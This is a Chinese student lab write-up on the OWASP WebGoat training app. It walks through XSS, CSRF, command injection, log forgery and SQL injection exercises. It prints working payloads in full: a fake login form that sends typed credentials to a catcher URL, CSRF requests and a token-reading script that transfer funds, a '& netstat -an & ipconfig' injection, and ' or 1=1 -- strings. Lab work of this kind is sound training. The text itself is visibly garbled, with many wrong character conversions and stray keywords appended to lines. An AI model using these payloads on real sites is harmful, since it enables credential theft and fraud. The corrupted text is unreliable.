'
,--
,#
等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登陆、显示信息等目的。其实就是输入框中的字符提交到后台的数据库中会与SQL语句组合拼接,若是猜想出后台的SQL语句格式,而后有针对性的输入,就能够达到相应目的。返回目录javascript
Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各类漏洞,例如:跨站脚本攻击、sql注入、访问控制、隐藏字段、Cookie等;html
最开始我下载的是官网最新版本,但操做中会出现一些问题,并且参考其余同窗的博客,可能8.0.0版本的作完SQL就打不开了,因此在实际操做时,仍是应该用7.0.1版本的。java
①下载webgoat-container-7.0.1-war-exec.jar文件git
下载地址为:https://github.com/WebGoat/WebGoat/releases ,在最下面的“The OWASP WebGoat 7.0.1 Release”中,选择webgoat-container-7.0.1-war-exec.jar文件进行下载程序员
②终止占用8080端口的其余进程github
因WebGoat默认使用8080端口,因此开启前先用netstat -tupln | grep 8080
查看端口是否被占用,若是被占用,用kill 进程号
终止占用8080端口的进程。web
③开启WebGoatsql
我开始使用的是8.0.0版本的WebGoat,后来换成了7.0.1版本,须要在含有“webgoat-container-7.0.1-war-exec.jar”文件的目录下执行java -jar webgoat-container-7.0.1-war-exec.jar
数据库
若是使用的是其余版本的WebGoat,这个语句要根据文件名进行修改,例如:
java -jar webgoat-server-8.0.0.M14.jar
跨域
④浏览器打开WebGoat
跨站脚本攻击是经过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,能够模拟用户当前的操做。这里实验的是一种获取用户名和密码的攻击.
①在webgoat找到Cross-Site Scripting (xss)攻击打开第一个——Phishing with XSS
②将下面这段代码输入到"Search:"输入框中,点击search;
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
结果会出现代码中所指定的绿、红、蓝三块div,并在下方出现了用于欺骗用户的提示语“This feature requires account login:”和用户名、密码输入框。
③若是真的在登陆框中输入用户名、密码,eg:20155312 1234,点击登陆后,会像代码中alert
提示的,显示被窃取的用户名和密码。
存储型XSS的攻击基本流程:
- 好比在某个论坛提供留言板功能,黑客在留言板内插入恶意的html或者Javascript代码,而且提交。
- 网站后台程序将留言内容存储在数据中
- 而后一个用户也访问这个论坛,并刷新了留言板,这时网站后台从数据库中读取了以前黑客的留言内容,而且直接插入在html页面中,这就可能致使:黑客留言的脚本自己应该做为内容显示在留言板的,但此时黑客的留言脚本被浏览器解释执行。
黑客的脚本能够用来作以下所述的攻击:
1.经过javascript获取用户的cookie,根据这个cookie窃取用户信息
2.重定向网站到一个钓鱼网站
3.从新更改页面内容,伪装让客户输入用户名,密码,而后提交到黑客的服务器
咱们就来试试第三个,获取用户名和密码吧~
①打开Cross-Site Scripting (xss)攻击中的第二个:Stored XSS Attacks
②在Message框中输入上面那段代码,并点击submit,Title随便输入,我输入了本身的学号
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
③提交后,下方“Message List”中会新增刚输入的Tile名字的连接,点击连接。
④能够看到咱们的html已经注入成功,messege部分显示的是绿、红、蓝三色框,在下方用户名密码处输入,eg:20155312 12345,点击提交后,被成功获取用户名和密码:
反射型XSS:
咱们在访问一个网页的时候,在URL后面加上参数,服务器根据请求的参数值构造不一样的HTML返回。
value可能出如今返回的HTML(多是JS,HTML某元素的内容或者属性)中,
若是将value改为能够在浏览器中被解释执行的东西,就造成了反射型XSS.
别人可能修改这个value值,而后将这个恶意的URL发送给你,当URL地址被打开时,
特有的恶意代码参数就会被HTML解析执行.
它的特色是非持久化,必须用户点击带有特定参数的连接才能引发。
存储型XSS与反射型XSS的区别:
存储型XSS,持久化,代码是存储在服务器中的,如在我的信息或发表文章等地方,加入代码,若是没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易形成蠕虫,盗窃cookie等。
反射型XSS,非持久化,须要欺骗用户本身去点击连接才能触发XSS代码(服务器中没有这样的页面和内容),通常容易出如今搜索页面。
①打开xss的第三个攻击Reflected XSS Attacks
②在“Enter your three digit access code:”中输入<script>alert("I am zjy");</script>
点击Purchase,成功显示警告框,内容为咱们script脚本指定的内容:
④假如咱们输入前面编写的脚本,原理相同,一样会成功:
<head> <body> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
CSRF攻击介绍:
跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS很是不一样,XSS利用站点内的信任用户,而CSRF则经过假装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击每每不大流行(所以对其进行防范的资源也至关稀少)和难以防范,因此被认为比XSS更具危险性。
目标:此次攻击向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。
① 打开Cross-Site Scripting (xss)攻击中的第四个:Cross Site Request Forgery(CSRF)
②查看页面下方Parameters中的src和menu值,分别为280和900。
③在message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />
,以图片的的形式将URL放进Message框,这时的URL对其余用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交
④提交后,在Message List中生成以Title命名的连接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
如图所示,攻击成功
① 打开Cross-Site Scripting (xss)攻击中的第五个:CSRF Prompt By-Pass
②同攻击4,查看页面下侧Parameters中的src和menu值(268和900),并在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=268&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=268&menu=900&transferFunds=CONFIRM"> </iframe>
④在Message List中生成以Title命名的连接"5"。
⑤点击进入后,如图攻击成功:
目标:给新闻组发送包含恶意请求的 Email 实现资金转帐。为了成功完成欺骗,您须要得到一个验证请求 Token。显示转帐表单的 URL 相似于 CSRF 课程 中使用的外部参数"transferFunds=main"。载入该页面,读取 Token 并追加到伪造请求中以实现资金转帐。
① 打开Cross-Site Scripting (xss)攻击中的第六个:① 打开Cross-Site Scripting (xss)攻击中的第五个:CSRF Token By-Pass
②查看网站生成的资金转帐页面的表单内容。http://127.0.0.1:8080/WebGoat/attack?Screen=296&menu=900&transferFunds=main
查看源代码,看到Token参数
<form accept-charset='UNKNOWN' id='transferForm' method='POST' action='#attack/296/900' enctype='application/x-www-form-urlencoded'> <input name='transferFunds' type='text' value='0'> <input name='CSRFToken' type='hidden' value='920130483'> <input type='submit'> </form>
由此能够看到伪造命令须要提交CSRFToken参数,在一个 iframe 中载入页面,而后从该 frame 中读取出 Token。 下面查看网页源代码,找到 Token 参数。
从教程里面找了段代码, 经过 frame‐>form 的路径能够读取并保存 CSRFToken 参数。
<script> var readToken = function(){ var doc = document.getElementById("frame1").contentDocument var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value"); alert(token); var frame2 = document.getElementById("frame2"); frame2.src = "http://127.0.0.1:8080/WebGoat/attack?Screen=296&menu=900&transferFunds=4000&CSRFToken="+token; } </script> <iframe id="frame2" > </iframe> <iframe id="frame1" onload="readToken()" src="http://127.0.0.1:8080/WebGoat/attack?Screen=296&menu=900&transferFunds=main" > </iframe>
点击Submit按道理会弹窗显示Cookie,但我失败了,并且对这个也不是十分理解,算了,在后面多作一个吧~
SQL注入攻击是黑客对数据库进行攻击的经常使用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也愈来愈多。可是因为程序员的水平及经验也良莠不齐,至关大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户能够提交一段数据库查询代码,根据程序返回的结果,得到某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
①点击工具栏的firebug,也就是虫子(bug),调试网页源代码。
②将复选框中任意一栏的代码后添加"& netstat -an & ipconfig"
③点击view,便可查看命令执行结果
目的是显示全部城市的天气状况
①点击左侧Injection Flaws中的第二个:Numeric SQL Injection
②咱们看到这一题的选择框是一个下拉框,咱们使用BurpSuite抓包修改。
③在桌面上找到下图图标,打开BurpSuite:
④打开一个临时工程:Temporary Project->使用默认的Burp:Use Burp Default->Start Burp
⑤在BurpSuite中依次选择Proxy->Options->Add,添加端口5312,其余默认,点击OK
⑥点击确认后会在Options下增长一行,勾选新造成的这一行
⑦点击浏览器右上方的“Open Menu”选项卡,选择preference
⑧在页面左侧选择advanced,选择network页标签,在connection那一行选择settings…
⑨在弹出的窗口中选择第4个:Manual proxy configuration,设置代理服务器和端口(要与BurpSuite中绑定的一致,如5312),点击OK
⑩设置好代理后回到题目页面,点击Go!
[注]:一旦设置好代理,就无法正常联网了。因此在此以前须要作完第一步,即打开攻击的网页。
进入BurpSuite,设置好代理后回到题目页面,点击Go,而后进入BurpSuite中依次选择Proxy->Intercept,能够看到已经抓到了包:
在该页面上右键,选择send to repeater
在页面上方选择Reapter->Params,而后把station的值改成101 or 1=1
,点击"Go"运行,查看右侧Response部分的HTML标签中,按道理SQL语句应该为:SELECT * FROM weather_data WHERE station = 101 or 1=1
但个人提示是这样的:
<pre>SELECT * FROM weather_data WHERE station = ?</pre> <p>Error parsing station as a number: For input string: "101 or 1=1"</form></div>
点击上方Proxy->Intercept中点击“Intercept is on”对剩下的包不做处理
回到火狐发现左侧裂变已经出现绿对勾显示成功,下方提示也是“SELECT * FROM weather_data WHERE station = ?”,无法该成101 or 1=1。
尝试解决:用Firebug直接在网页中修改,试了不少次也都不行,最后分析缘由是我修改的位置不对,修改了
中显示的SQL语句,但对后台的SQL的语句并无修改,因此从新修改复选框中的option中的value,在任意一个数字,例如103后面添加or 1=1
,从新尝试:
最后结果不尽人意,仍是不行:
我怀疑是个人WebGoat中这个题目自己存在一些问题,由于即便正常选择城市,Select中一样会显示问号
经过查看下方灰色区域,咱们分析它表明在 Web 服务器的日志中的记录的内容。
目的:使用户名为“admin” 的用户在日志中显示“成功登陆”。
方法:经过在日志文件中插入脚本实现。
①在username中填入5312%0d%0aLogin Succeeded for username: admin
,利用回车(0D%)和换行符(%0A)让其在日志中两行显示
②点击Login,可见5312在Login Fail那行显示,咱们本身添加的语句在下一行显示:
③进而,咱们思考,能够向日志文件中添加恶意脚本,脚本的返回信息管理员可以经过浏览器看到。
用户名输入admin <script>alert(document.cookie)</script>
,管理员能够看到弹窗的cookie信息。
目的:尝试经过 SQL 注入将全部信用卡信息显示出来。
方法:基于如下查询语句构造本身的 SQL 注入字符串。
SELECT * FROM user_data WHERE last_name = '?'
。
①选择Injection Flaws中的String SQL Injection
②输入查询的用户名Smith' or 1=1--
这样Smith 和1=1都成了查询的条件,而1=1是恒等式,这样就能select表里面的全部数据。
①在密码框输入' or 1=1 --
,登陆失败用Firebug查看网页源码,发现密码长度有限制
②将密码长度maxlength改成100,再次尝试,登陆成功:
这是除了免考项目的最后一个实验了,一学期的课程眼看要接近尾声,心中对老师甚是不舍,哈哈哈哈,最重要的是,经过九次实验确实加强了动手实践能力,对网络攻击与防范有了更深层次的认识。
说些题外话,但愿本身之后可以在学习、工做的过程当中可以享受生活、热爱生活,像老师同样活得潇洒一些,多作作本身热爱的事,青春才能不留遗憾。